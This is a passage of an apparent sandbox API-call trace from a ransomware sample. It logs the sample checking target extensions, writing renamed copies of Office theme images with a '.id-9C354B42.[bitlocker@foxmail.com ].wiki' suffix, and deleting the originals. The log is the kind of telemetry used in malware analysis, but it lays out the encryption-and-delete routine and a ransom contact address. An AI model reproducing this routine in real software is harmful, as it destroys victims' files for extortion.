[0052.284] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0052.284] lstrlenW (lpString=".1cd") returned 4 [0052.285] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0052.285] lstrlenW (lpString=".jpg") returned 4 [0052.285] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.285] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0052.285] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0052.285] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=25106) returned 1 [0052.285] CloseHandle (hObject=0x1f0) returned 1 [0052.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0052.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0052.285] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.285] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.286] GetLastError () returned 0x0 [0052.286] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x6212, lpOverlapped=0x0) returned 1 [0052.295] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x6220, lpOverlapped=0x0) returned 1 [0052.298] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.298] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.298] SetEndOfFile (hFile=0x1e8) returned 1 [0052.298] CloseHandle (hObject=0x1e8) returned 1 [0052.298] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.298] SetEndOfFile (hFile=0x1f0) returned 1 [0052.299] CloseHandle (hObject=0x1f0) returned 1 [0052.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.299] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0052.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0052.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0052.299] lstrlenW (lpString=".doc") returned 4 [0052.299] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.299] lstrlenW (lpString=".docx") returned 5 [0052.299] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.299] lstrlenW (lpString=".pdf") returned 4 [0052.299] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.299] lstrlenW (lpString=".xls") returned 4 [0052.299] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.300] lstrlenW (lpString=".xlsx") returned 5 [0052.300] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.300] lstrlenW (lpString=".ppt") returned 4 [0052.300] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0052.300] lstrlenW (lpString=".zip") returned 4 [0052.300] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.300] lstrlenW (lpString=".rar") returned 4 [0052.300] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.300] lstrlenW (lpString=".bz2") returned 4 [0052.300] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.300] lstrlenW (lpString=".7z") returned 3 [0052.300] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0052.300] lstrlenW (lpString=".dbf") returned 4 [0052.300] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0052.300] lstrlenW (lpString=".1cd") returned 4 [0052.300] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0052.300] lstrlenW (lpString=".jpg") returned 4 [0052.300] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0052.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0052.300] lstrlenW (lpString=".doc") returned 4 [0052.300] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.300] lstrlenW (lpString=".docx") returned 5 [0052.300] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.300] lstrlenW (lpString=".pdf") returned 4 [0052.300] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.300] lstrlenW (lpString=".xls") returned 4 [0052.300] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.300] lstrlenW (lpString=".xlsx") returned 5 [0052.300] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.300] lstrlenW (lpString=".ppt") returned 4 [0052.301] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0052.301] lstrlenW (lpString=".zip") returned 4 [0052.301] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.301] lstrlenW (lpString=".rar") returned 4 [0052.301] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.301] lstrlenW (lpString=".bz2") returned 4 [0052.301] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.301] lstrlenW (lpString=".7z") returned 3 [0052.301] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0052.301] lstrlenW (lpString=".dbf") returned 4 [0052.301] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0052.301] lstrlenW (lpString=".1cd") returned 4 [0052.301] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0052.301] lstrlenW (lpString=".jpg") returned 4 [0052.301] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.301] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0052.301] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0052.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.307] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=32403) returned 1 [0052.308] CloseHandle (hObject=0x1e8) returned 1 [0052.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0052.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.308] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.308] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0052.308] GetLastError () returned 0x0 [0052.308] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x7e93, lpOverlapped=0x0) returned 1 [0052.310] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0052.312] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.312] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.312] SetEndOfFile (hFile=0x1dc) returned 1 [0052.312] CloseHandle (hObject=0x1dc) returned 1 [0052.312] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.312] SetEndOfFile (hFile=0x1e8) returned 1 [0052.313] CloseHandle (hObject=0x1e8) returned 1 [0052.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.315] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0052.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0052.315] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0052.316] lstrlenW (lpString=".doc") returned 4 [0052.316] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.316] lstrlenW (lpString=".docx") returned 5 [0052.316] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.316] lstrlenW (lpString=".pdf") returned 4 [0052.316] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.316] lstrlenW (lpString=".xls") returned 4 [0052.316] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.316] lstrlenW (lpString=".xlsx") returned 5 [0052.316] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.316] lstrlenW (lpString=".ppt") returned 4 [0052.316] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0052.316] lstrlenW (lpString=".zip") returned 4 [0052.316] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.316] lstrlenW (lpString=".rar") returned 4 [0052.316] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.316] lstrlenW (lpString=".bz2") returned 4 [0052.316] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.316] lstrlenW (lpString=".7z") returned 3 [0052.316] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0052.316] lstrlenW (lpString=".dbf") returned 4 [0052.316] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0052.316] lstrlenW (lpString=".1cd") returned 4 [0052.316] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0052.316] lstrlenW (lpString=".jpg") returned 4 [0052.316] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0052.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0052.316] lstrlenW (lpString=".doc") returned 4 [0052.316] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0052.317] lstrlenW (lpString=".docx") returned 5 [0052.317] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0052.317] lstrlenW (lpString=".pdf") returned 4 [0052.317] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0052.317] lstrlenW (lpString=".xls") returned 4 [0052.317] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0052.317] lstrlenW (lpString=".xlsx") returned 5 [0052.317] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0052.317] lstrlenW (lpString=".ppt") returned 4 [0052.317] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0052.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0052.317] lstrlenW (lpString=".zip") returned 4 [0052.317] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0052.317] lstrlenW (lpString=".rar") returned 4 [0052.317] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0052.317] lstrlenW (lpString=".bz2") returned 4 [0052.317] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0052.317] lstrlenW (lpString=".7z") returned 3 [0052.317] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0052.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0052.317] lstrlenW (lpString=".dbf") returned 4 [0052.317] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0052.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0052.317] lstrlenW (lpString=".1cd") returned 4 [0052.317] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0052.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0052.317] lstrlenW (lpString=".jpg") returned 4 [0052.317] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0052.317] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0052.317] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0052.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.318] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1347) returned 1 [0052.318] CloseHandle (hObject=0x1e8) returned 1 [0052.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0052.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.318] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.318] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0052.322] GetLastError () returned 0x0 [0052.322] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x543, lpOverlapped=0x0) returned 1 [0052.324] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x550, lpOverlapped=0x0) returned 1 [0052.325] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.325] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.325] SetEndOfFile (hFile=0x1dc) returned 1 [0052.325] CloseHandle (hObject=0x1dc) returned 1 [0052.325] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.325] SetEndOfFile (hFile=0x1e8) returned 1 [0052.326] CloseHandle (hObject=0x1e8) returned 1 [0052.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0052.326] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0052.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0052.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0052.326] lstrlenW (lpString=".doc") returned 4 [0052.326] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.326] lstrlenW (lpString=".docx") returned 5 [0052.326] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.326] lstrlenW (lpString=".pdf") returned 4 [0052.326] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.326] lstrlenW (lpString=".xls") returned 4 [0052.326] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.326] lstrlenW (lpString=".xlsx") returned 5 [0052.326] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.326] lstrlenW (lpString=".ppt") returned 4 [0052.326] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0052.326] lstrlenW (lpString=".zip") returned 4 [0052.326] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.327] lstrlenW (lpString=".rar") returned 4 [0052.327] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.327] lstrlenW (lpString=".bz2") returned 4 [0052.327] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.327] lstrlenW (lpString=".7z") returned 3 [0052.327] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0052.327] lstrlenW (lpString=".dbf") returned 4 [0052.327] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0052.327] lstrlenW (lpString=".1cd") returned 4 [0052.327] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0052.327] lstrlenW (lpString=".jpg") returned 4 [0052.327] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0052.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0052.327] lstrlenW (lpString=".doc") returned 4 [0052.327] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.327] lstrlenW (lpString=".docx") returned 5 [0052.327] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.327] lstrlenW (lpString=".pdf") returned 4 [0052.327] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.327] lstrlenW (lpString=".xls") returned 4 [0052.327] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.327] lstrlenW (lpString=".xlsx") returned 5 [0052.327] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.327] lstrlenW (lpString=".ppt") returned 4 [0052.327] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0052.327] lstrlenW (lpString=".zip") returned 4 [0052.327] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.327] lstrlenW (lpString=".rar") returned 4 [0052.327] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.327] lstrlenW (lpString=".bz2") returned 4 [0052.327] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.328] lstrlenW (lpString=".7z") returned 3 [0052.328] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.328] lstrlenW 